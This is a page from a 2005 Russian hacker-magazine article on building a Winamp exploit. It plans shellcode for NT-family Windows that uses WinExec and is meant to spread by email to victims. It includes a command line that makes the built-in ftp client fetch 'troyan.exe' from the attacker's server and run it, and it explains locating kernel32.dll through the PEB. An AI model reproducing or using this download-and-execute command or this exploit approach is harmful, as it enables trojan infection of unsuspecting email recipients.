Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #75, МАРТ 2005 г.

Оперируем WinAmp

Ichwill (artem_king@rambler.ru)

Хакер, номер #075, стр. 075-056-2


О будущем шелл-коде

Как я уже отмечал, наш шелл-код будет работать только в NT-подобных системах (NT, 2k, XP, 2003). Это связано, прежде всего, с технической стороной вопроса, а точнее, с совсем другим адресом in_cdda.dll в 9x Windows. Основное действие, которое будет выполнять шелл-код, - это запуск произвольных файлов на машине жертвы с помощью функции WinExec. Сразу скажу, зачем это нужно: основным способом распространения эксплойта будет почта (кто не прочь подшутить над своими друзьями), а поскольку при этом мы почти никогда не знаем ни ip жертвы, ни времени запуска нашего эксплоита, то открывать шелл на машине жертвы будет бессмысленно. Другое дело - выполнить пару команд, например таких:

cmd /c "echo get troyan.exe|ftp –A my_ftp_server.com"

troyan.exe

При выполнении этих команд жертва запустит встроенный в Windows XP ftp-клиент, который зайдет на твой сервер и скачает файл troyan.exe (догадываешься, что это такое?). После этого эксплойт передаст управление на скачанный файл. Впрочем, хватит фантазий, пора приступать к делу.

Самой первой проблемой для нашего шелл-кода будет поиск адресов API-функций. На эту тему есть хорошая статья в «Спеце» августа 2004 «Пишем shell-код!» Дмитрия Коваленко, в которой как раз приводится функция поиска адреса API-функции по ее имени.

Поехали!

Чтобы долго не мучиться, возьмем функцию, описанную в упоминаемой статье, за основу. Первое, что нам в ней придется изменить, это способ поиска адреса загрузки kernel32.dll. Автор статьи предлагает найти этот адрес с помощью seh-структур, но нам этот способ не подойдет, так как во время переполнения наш шелл-код затрет часть этих самых структур. Мы пойдем по другому пути и найдем адрес загрузки kernel32.dll с помощью анализа PEB (Process Enviroment Block). PEB - служебная структура данных, создаваемая Windows для каждого нового процесса. Единственным недостатком этого способа является то, что работать он будет только под NT-подобными системами(NT, 2k, XP, 2003).

Назад на стр. 075-056-1  Содержание  Вперед на стр. 075-056-3